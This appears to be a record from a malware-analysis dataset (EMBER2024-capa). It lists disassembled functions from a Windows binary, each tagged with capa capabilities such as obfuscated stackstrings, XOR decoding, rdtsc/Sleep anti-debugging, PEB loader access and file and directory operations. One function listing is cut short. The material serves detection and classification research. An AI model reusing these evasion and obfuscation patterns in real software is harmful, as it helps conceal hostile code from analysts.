joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4065b8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], 0x190b2e6f
xor ebx, ebx
mov dword [ebp - 0x10], 0x5c061f0e
mov cl, 0x6f
mov dword [ebp - 0xc], 0x30b415d
mov word [ebp - 8], 3
mov eax, ebx
mov dword [esi], ebx
mov dword [esi + 4], 0x8289d1
mov dword [esi + 8], 0x5faa711
mov dword [esi + 0xc], 0x6fba0b1
mov dword [esi + 0x10], 0x3313a69
mov dword [esi + 0x14], 0x89dc521
mov dword [esi + 0x18], 0xd6e1d29
mov dword [esi + 0x1c], 0xb7beb6d
mov dword [esi + 0x20], 0xe10a7f4
mov dword [esi + 0x24], 0xc0e47c9
mov dword [esi + 0x28], 0xcee5ca4
mov dword [esi + 0x2c], 0x13b431
mov dword [esi + 0x30], 0xdf25081
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 0xc
jae 0x406652
mov cl, byte [ebp - 0x14]
jmp 0x406643
lea ecx, [ebp - 0x13]
mov byte [ebp - 7], bl
call fcn.00406595
mov dword [esi], eax
test eax, eax
jne 0x4066ad
mov al, 0x29
mov dword [ebp - 0x14], 0x7f6d4a29
mov dword [ebp - 0x10], 0x3c72796a
mov ecx, ebx
mov dword [ebp - 0xc], 0x756d373b
mov word [ebp - 8], 0x75
movsx eax, al
and eax, 0x8000000f
jns 0x406691
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xc
jae 0x4066a0
mov al, byte [ebp - 0x14]
jmp 0x406682
lea ecx, [ebp - 0x13]
mov byte [ebp - 7], bl
call fcn.00406572
mov dword [esi], eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418755
leave
ret

Function at 0x406942
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
rdtsc
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
rdtsc
sub eax, dword [ebp - 4]
mov esi, 0xf4240
sbb edx, dword [ebp - 0xc]
push 0
push esi
push edx
push eax
call fcn.00419870
mov ebx, edx
mov edi, eax
test ebx, ebx
ja 0x40694b
jb 0x406983
cmp edi, esi
ja 0x40694b
push 0
push 0x64
pop esi
push esi
push ebx
push edi
call fcn.00419980
mov ecx, edx
xor edx, edx
test ecx, ecx
ja 0x4069fd
jb 0x40699f
cmp eax, 0x50
jae 0x4069a4
push 0x4b
pop esi
xor edx, edx
test ecx, ecx
ja 0x4069fd
jb 0x4069af
cmp eax, 0x47
jae 0x4069b4
push 0x42
pop esi
xor edx, edx
test ecx, ecx
ja 0x4069fd
jb 0x4069bf
cmp eax, 0x37
jae 0x4069c4
push 0x32
pop esi
xor edx, edx
test ecx, ecx
ja 0x4069fd
jb 0x4069cf
cmp eax, 0x26
jae 0x4069d4
push 0x21
pop esi
xor edx, edx
test ecx, ecx
ja 0x4069fd
jb 0x4069df
cmp eax, 0x1e
jae 0x4069e4
push 0x19
pop esi
xor edx, edx
test ecx, ecx
ja 0x4069fd
jb 0x4069ef
cmp eax, 0xa
jae 0x4069fd
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
sub esi, eax
sbb edx, ecx
add esi, edi
pop edi
mov eax, esi
adc edx, ebx
pop esi
pop ebx
leave
ret

Function at 0x406a0c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
push esi
lea ecx, [esp + 8]
call fcn.0040380e
mov ecx, dword fs:[0x30]
mov esi, dword [ebp + 8]
mov edx, dword [esp + 0x54]
push esp
and al, 0x54
Function at 0x409b6d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x401c90]
push ebx
xor ebx, ebx
mov dword [ebp - 0x22c], 0x282f250f
push esi
movups xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x228], 0x331f3139
mov ecx, ebx
mov dword [ebp - 0x224], 0x3b353a32
mov byte [ebp - 0x220], bl
mov al, byte [ebp - 0x23c]
xor byte [ebp + ecx - 0x23b], al
inc ecx
cmp ecx, 0x1b
jb 0x409bb8
lea eax, [ebp - 0x23b]
mov byte [ebp - 0x220], bl
push eax
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.004067e1
add esp, 0xc
mov dword [ebp - 0x21c], 0x17386e4b
mov cl, 0x4b
mov dword [ebp - 0x218], 0x242d2502
mov dword [ebp - 0x214], 0x3f333f65
mov eax, ebx
mov byte [ebp - 0x210], bl
xor byte [ebp + eax - 0x21b], cl
inc eax
cmp eax, 0xb
jae 0x409c2a
mov cl, byte [ebp - 0x21c]
jmp 0x409c15
lea eax, [ebp - 0x108]
mov byte [ebp - 0x210], bl
push eax
lea eax, [ebp - 0x21b]
push eax
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004067e1
mov al, 0x1c
mov byte [ebp - 0x23e], bl
mov byte [ebp - 0x240], al
mov cl, 0x83
movsx eax, al
and eax, 0x8000000f
jns 0x409c6a
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x23e], bl
lea eax, [ebp - 0x23f]
mov byte [ebp - 0x23f], cl
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0x1c
pop esi
pop ebx
test eax, eax
jne 0x409cc7
mov ecx, dword [ebp - 0x244]
test ecx, ecx
je 0x409cc7
xor edx, edx
call fcn.00407268
mov ecx, dword [ebp - 0x244]
xor edx, edx
call fcn.004081f7
push dword [ebp - 0x244]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.00418755
leave
ret
Function at 0x40a8f7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x6e694c65
xor ebx, ebx
mov dword [ebp - 0xc], 0x69333738
mov al, 0x65
mov word [ebp - 8], 0x7171
mov byte [ebp - 6], bl
mov ecx, ebx
mov dword [esi], ebx
mov dword [esi + 4], 0xb8ad2f1
mov dword [esi + 8], 0x25134f3
mov dword [esi + 0xc], 0x7b7d7a3
mov dword [esi + 0x10], 0x1178b9e
mov dword [esi + 0x14], 0xc2cad23
mov dword [esi + 0x18], 0x598c983
mov dword [esi + 0x1c], 0xec52004
mov dword [esi + 0x20], 0x4908934
mov dword [esi + 0x24], 0xab6d143
mov dword [esi + 0x28], 0xef52704
movsx eax, al
and eax, 0x8000000f
jns 0x40a97f
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xf], al
inc ecx
cmp ecx, 9
jae 0x40a98e
mov al, byte [ebp - 0x10]
jmp 0x40a970
lea ecx, [ebp - 0xf]
mov byte [ebp - 6], bl
call fcn.00406595
mov dword [esi], eax
test eax, eax
jne 0x40a9d6
mov cl, 0x29
mov dword [ebp - 0x10], 0x404d6e29
mov dword [ebp - 0xc], 0x4d071b1a
mov eax, ebx
mov word [ebp - 8], 0x4545
mov byte [ebp - 6], bl
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 9
jae 0x40a9c9
mov cl, byte [ebp - 0x10]
jmp 0x40a9ba
lea ecx, [ebp - 0xf]
mov byte [ebp - 6], bl
call fcn.00406572
mov dword [esi], eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418755
leave
ret
Function at 0x40b146
Capabilities:
Copy file
Get file size
Read file on windows

Disassembly:
push 0x10
mov eax, 0x41a349
call fcn.0041971c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
push 0xf
pop edi
mov dword [ebp - 4], 1
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
cmova eax, dword [ebp + 0xc]
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 7
push SysReAllocString
push eax
call esi
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x40b1da
cmp dword [ebp + 0x34], ebx
je 0x40b243
cmp dword [ebp + 0x38], edi
lea ecx, [ebp + 0x24]
push ebx
cmova ecx, dword [ebp + 0x24]
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], edi
push ecx
cmova eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [ebp + 0x38], edi
lea eax, [ebp + 0x24]
push ebx
cmova eax, dword [ebp + 0x24]
push 0x80
push 3
push ebx
push 7
push SysReAllocString
push eax
call esi
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x40b243
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x40b245
push ebx
lea eax, [ebp - 0x1c]
push eax
push edi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40b23b
mov eax, dword [ebp - 0x18]
mov dl, byte [esi + ebx]
mov ecx, dword [eax + 4]
mov byte [ebp - 0xd], dl
cmp ecx, dword [eax + 8]
je 0x40b227
mov byte [ecx], dl
inc dword [eax + 4]
jmp 0x40b236
lea edx, [ebp - 0xd]
push edx
push ecx
mov ecx, eax
call fcn.0040c9a0
mov eax, dword [ebp - 0x18]
inc ebx
cmp ebx, edi
jb 0x40b212
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov bl, 1
lea ecx, [ebp + 0xc]
call fcn.0040357e
lea ecx, [ebp + 0x24]
call fcn.0040357e
mov al, bl
call fcn.004196f9
ret 0x34
Function at 0x40e843
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x218]
push edi
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call esi
test eax, eax
js 0x40ea7f
movaps xmm0, xmmword [0x401ef0]
mov ecx, ebx
movups xmmword [ebp - 0x554], xmm0
mov dword [ebp - 0x544], 0x7d7a7f5e
mov dword [ebp - 0x540], 0x70726c
movsx eax, byte [ebp - 0x554]
and eax, 0x8000000f
jns 0x40e8ae
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x553], al
inc ecx
cmp ecx, 0x16
jb 0x40e89b
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [ebp - 0x553]
push eax
lea eax, [ebp - 0x218]
mov byte [ebp - 0x53d], bl
push 0x104
push eax
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x218]
add esp, 0xc
push eax
call ebx
test eax, eax
je 0x40ea7f
lea eax, [ebp - 0x428]
push eax
xor eax, eax
push eax
push eax
push 0x23
push eax
call esi
test eax, eax
js 0x40ea7f
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call esi
movaps xmm0, xmmword [0x402160]
add esp, 0xc
movups xmmword [ebp - 0x554], xmm0
mov dword [ebp - 0x544], 0x766a7a70
xor ecx, ecx
mov word [ebp - 0x540], 0x6b79
mov byte [ebp - 0x53e], 0
movsx eax, byte [ebp - 0x554]
and eax, 0x8000000f
jns 0x40e969
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x553], al
inc ecx
cmp ecx, 0x15
jb 0x40e956
lea eax, [ebp - 0x553]
mov byte [ebp - 0x53e], 0
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call ebx
test eax, eax
jne 0x40e9ba
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40e9ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x530]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x40ea7f
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x218]
call fcn.00413cab
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x320]
push 0x104
push eax
call esi
add esp, 0xc
mov dword [ebp - 0x53c], 0x6b726266
mov al, 0x66
mov dword [ebp - 0x538], 0x6a726b7c
mov word [ebp - 0x534], 0x68
xor ecx, ecx
movsx eax, al
and eax, 0x8000000f
jns 0x40ea2d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x53b], al
inc ecx
cmp ecx, 8
jae 0x40ea42
mov al, byte [ebp - 0x53c]
jmp 0x40ea1e
lea eax, [ebp - 0x53b]
mov byte [ebp - 0x533], 0
push eax
lea eax, [ebp - 0x320]
push 0x104
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x320]
push eax
call ebx
test eax, eax
je 0x40ea7f
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x320]
call fcn.00413cab
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418755
leave
ret
Function at 0x40ea8e
Capabilities:
Create directory
Encode data using xor
Get common file path

Disassembly:
push 0x2a4
mov eax, 0x41a862
call fcn.0041974f
lea eax, [ebp - 0x11c]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40ece5
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x258]
call fcn.004035da
mov edx, eax
mov dword [ebp - 4], ebx
mov ecx, ebx
movaps xmm0, xmmword [0x4021d0]
movups xmmword [ebp - 0x27c], xmm0
mov word [ebp - 0x25c], 0x6567
movaps xmm0, xmmword [0x401f70]
movups xmmword [ebp - 0x26c], xmm0
mov byte [ebp - 0x25a], bl
movsx eax, byte [ebp - 0x27c]
and eax, 0x8000000f
jns 0x40eb10
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x27b], al
inc ecx
cmp ecx, 0x21
jb 0x40eafd
lea eax, [ebp - 0x27b]
mov byte [ebp - 0x25a], bl
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 2
call fcn.0040357e
sub esp, 0x18
lea eax, [ebp - 0x2ac]
mov ecx, esp
push eax
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x40ecda
lea eax, [ebp - 0x224]
push eax
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40ecda
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x274]
call fcn.004035da
mov edx, eax
mov byte [ebp - 4], 3
mov ecx, ebx
movaps xmm0, xmmword [0x402110]
movups xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x230], 0x536c7d66
mov dword [ebp - 0x22c], 0x68656560
mov byte [ebp - 0x228], bl
mov al, byte [ebp - 0x240]
xor byte [ebp + ecx - 0x23f], al
inc ecx
cmp ecx, 0x17
jb 0x40ebc2
lea eax, [ebp - 0x23f]
mov byte [ebp - 0x228], bl
push eax
lea ecx, [ebp - 0x294]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x274]
mov byte [ebp - 4], 5
call fcn.0040357e
cmp dword [ebp - 0x280], 0xf
lea eax, [ebp - 0x294]
push ebx
cmova eax, dword [ebp - 0x294]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40ec2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40eccf
mov al, 0x15
mov dword [ebp - 0x24c], 0x74536115
mov dword [ebp - 0x248], 0x3e786a79
mov ecx, ebx
mov dword [ebp - 0x244], 0x676933
movsx eax, al
and eax, 0x8000000f
jns 0x40ec5f
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x24b], al
inc ecx
cmp ecx, 0xa
jae 0x40ec74
mov al, byte [ebp - 0x24c]
jmp 0x40ec50
lea eax, [ebp - 0x24b]
mov byte [ebp - 0x241], bl
push eax
lea edx, [ebp - 0x294]
lea ecx, [ebp - 0x240]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 6
lea edx, [ebp - 0x240]
cmp dword [ebp - 0x22c], 0xf
lea ecx, [ebp - 0x2ac]
cmova edx, dword [ebp - 0x240]
cmp dword [ebp - 0x298], 0xf
cmova ecx, dword [ebp - 0x2ac]
call fcn.00413c79
lea ecx, [ebp - 0x240]
call fcn.0040357e
lea ecx, [ebp - 0x294]
call fcn.0040357e
lea ecx, [ebp - 0x2ac]
call fcn.0040357e
call fcn.0041970d
ret
Function at 0x40eceb
Capabilities:
Create directory
Encode data using xor
Get common file path

Disassembly:
push 0x2ac
mov eax, 0x41a8c8
call fcn.0041974f
lea eax, [ebp - 0x11c]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40ef1b
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x29c]
call fcn.004035da
mov edx, eax
mov dword [ebp - 4], ebx
mov ecx, ebx
movaps xmm0, xmmword [0x402060]
movups xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x22c], 0x7021f1d
mov word [ebp - 0x228], 0xb1a
mov byte [ebp - 0x226], bl
mov al, byte [ebp - 0x23c]
xor byte [ebp + ecx - 0x23b], al
inc ecx
cmp ecx, 0x15
jb 0x40ed56
lea eax, [ebp - 0x23b]
mov byte [ebp - 0x226], bl
push eax
lea ecx, [ebp - 0x26c]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 2
call fcn.0040357e
sub esp, 0x18
lea eax, [ebp - 0x26c]
mov ecx, esp
push eax
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x40ef10
lea eax, [ebp - 0x224]
push eax
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40ef10
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.004035da
mov edx, eax
mov byte [ebp - 4], 3
mov ecx, ebx
movaps xmm0, xmmword [0x401e50]
movups xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x22c], 0x131c151b
mov word [ebp - 0x228], 0x1e
mov al, byte [ebp - 0x23c]
xor byte [ebp + ecx - 0x23b], al
inc ecx
cmp ecx, 0x14
jb 0x40ee07
lea eax, [ebp - 0x23b]
mov byte [ebp - 0x227], bl
push eax
lea ecx, [ebp - 0x254]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x2b4]
mov byte [ebp - 4], 5
call fcn.0040357e
cmp dword [ebp - 0x240], 0xf
lea eax, [ebp - 0x254]
push ebx
cmova eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40ee73
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40ef05
mov cl, 0xa
mov dword [ebp - 0x234], 0x686e560a
mov dword [ebp - 0x230], 0x667b7924
mov eax, ebx
mov dword [ebp - 0x22c], 0x6f7e63
xor byte [ebp + eax - 0x233], cl
inc eax
cmp eax, 0xa
jae 0x40eeaa
mov cl, byte [ebp - 0x234]
jmp 0x40ee95
lea eax, [ebp - 0x233]
mov byte [ebp - 0x229], bl
push eax
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x284]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 6
lea edx, [ebp - 0x284]
cmp dword [ebp - 0x270], 0xf
lea ecx, [ebp - 0x26c]
cmova edx, dword [ebp - 0x284]
cmp dword [ebp - 0x258], 0xf
cmova ecx, dword [ebp - 0x26c]
call fcn.00413c79
lea ecx, [ebp - 0x284]
call fcn.0040357e
lea ecx, [ebp - 0x254]
call fcn.0040357e
lea ecx, [ebp - 0x26c]
call fcn.0040357e
call fcn.0041970d
ret
Function at 0x40ff28
Capabilities:
Contain obfuscated stackstrings
Create directory
Encode data using xor
Get common file path

Disassembly:
push 0x29c
mov eax, 0x41aa18
call fcn.0041974f
lea eax, [ebp - 0x118]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x410174
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x238]
call fcn.004035da
mov edx, eax
mov dword [ebp - 4], ebx
mov ecx, ebx
movaps xmm0, xmmword [0x402410]
movups xmmword [ebp - 0x25c], xmm0
mov dword [ebp - 0x23c], 0x787984
movaps xmm0, xmmword [0x402000]
movups xmmword [ebp - 0x24c], xmm0
movsx eax, byte [ebp - 0x25c]
and eax, 0x8000000f
jns 0x40ffa5
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x25b], al
inc ecx
cmp ecx, 0x22
jb 0x40ff92
lea eax, [ebp - 0x25b]
mov byte [ebp - 0x239], bl
push eax
lea ecx, [ebp - 0x28c]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 2
call fcn.0040357e
sub esp, 0x18
lea eax, [ebp - 0x28c]
mov ecx, esp
push eax
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
je 0x410169
lea eax, [ebp - 0x220]
push eax
push ebx
push ebx
push 0x23
pop ebx
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x410169
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x250]
call fcn.004035da
mov edx, eax
mov byte [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x402240]
movups xmmword [ebp - 0x234], xmm0
mov word [ebp - 0x224], 0x647e
mov byte [ebp - 0x222], 0
mov al, byte [ebp - 0x234]
xor byte [ebp + ecx - 0x233], al
inc ecx
cmp ecx, 0x11
jb 0x410050
lea eax, [ebp - 0x233]
mov byte [ebp - 0x222], 0
push eax
lea ecx, [ebp - 0x274]
call fcn.00405ea5
pop ecx
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 5
call fcn.0040357e
cmp dword [ebp - 0x260], 0xf
lea eax, [ebp - 0x274]
push 0
cmova eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4100be
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41015e
mov byte [ebp - 0x230], bl
xor eax, eax
mov dword [ebp - 0x22f], 0x4040427f
mov dword [ebp - 0x22b], 0x574d564c
mov dword [ebp - 0x227], 0x4e5b0d50
mov word [ebp - 0x223], 0x4f
xor byte [ebp + eax - 0x22f], bl
inc eax
cmp eax, 0xd
jae 0x410102
mov bl, byte [ebp - 0x230]
jmp 0x4100ed
lea eax, [ebp - 0x22f]
mov byte [ebp - 0x222], 0
push eax
lea edx, [ebp - 0x274]
lea ecx, [ebp - 0x2a4]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 6
lea edx, [ebp - 0x2a4]
cmp dword [ebp - 0x290], 0xf
lea ecx, [ebp - 0x28c]
cmova edx, dword [ebp - 0x2a4]
cmp dword [ebp - 0x278], 0xf
cmova ecx, dword [ebp - 0x28c]
call fcn.00413c79
lea ecx, [ebp - 0x2a4]
call fcn.0040357e
lea ecx, [ebp - 0x274]
call fcn.0040357e
lea ecx, [ebp - 0x28c]
call fcn.0040357e
call fcn.0041970d
ret
Function at 0x4102c0
Capabilities:
Encode data using xor

Disassembly:
push 0x140
mov eax, 0x41aac0
call fcn.0041974f
mov edi, ecx
lea ecx, [ebp - 0x14c]
xor ebx, ebx
call fcn.0040380e
movaps xmm0, xmmword [0x401d20]
mov ecx, ebx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0x22352327
movaps xmm0, xmmword [0x402040]
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x14], bl
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x23
jb 0x410300
lea ecx, [ebp - 0x37]
mov byte [ebp - 0x14], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410316
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
lea esi, [edi + 0x90]
push eax
mov ecx, esi
call fcn.0040c331
sub esp, 0x18
mov ecx, esp
push esi
call fcn.0040476b
call fcn.00413e9f
add esp, 0x18
test eax, eax
jne 0x410367
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x410352
mov eax, dword [esi]
mov edx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x14c]
push ebx
push eax
call fcn.004064a5
call eax
mov al, 0x53
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x54], al
mov cl, 0x5f
movsx eax, al
and eax, 0x8000000f
jns 0x410380
dec eax
or eax, 0xfffffff0
inc eax
sub cl, al
mov byte [ebp - 0x52], bl
lea eax, [ebp - 0x53]
mov byte [ebp - 0x53], cl
push eax
mov edx, esi
lea ecx, [ebp - 0x50]
call fcn.00409d3e
pop ecx
mov esi, eax
push 0x2e
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.00403613
push esi
lea ecx, [ebp - 0x2c]
call fcn.004035a1
lea eax, [ebp - 0x2c]
push eax
lea ecx, [edi + 0xa8]
call fcn.00405b98
lea ecx, [ebp - 0x2c]
call fcn.0040357e
lea ecx, [ebp - 0x50]
call fcn.0040357e
call fcn.0041970d
ret
Function at 0x413282
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x38], ebx
je 0x4132da
cmp byte [esi + 0x3d], bl
je 0x4132da
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x413314
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, ebx
je 0x4132eb
sub eax, 1
je 0x4132ee
dec eax
sub eax, 1
jne 0x413314
mov byte [esi + 0x3d], bl
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418755
leave
ret
mov byte [esi + 0x3d], bl
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x41330c
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x413314
cmp byte [esi + 0x3d], bl
sete al
jmp 0x4132dc
xor al, al
jmp 0x4132dc

Function at 0x413aae
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0xf
jbe 0x413ab6
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x413ac9
test al, 0x10
je 0x413ac9
mov al, 1
ret
xor al, al
ret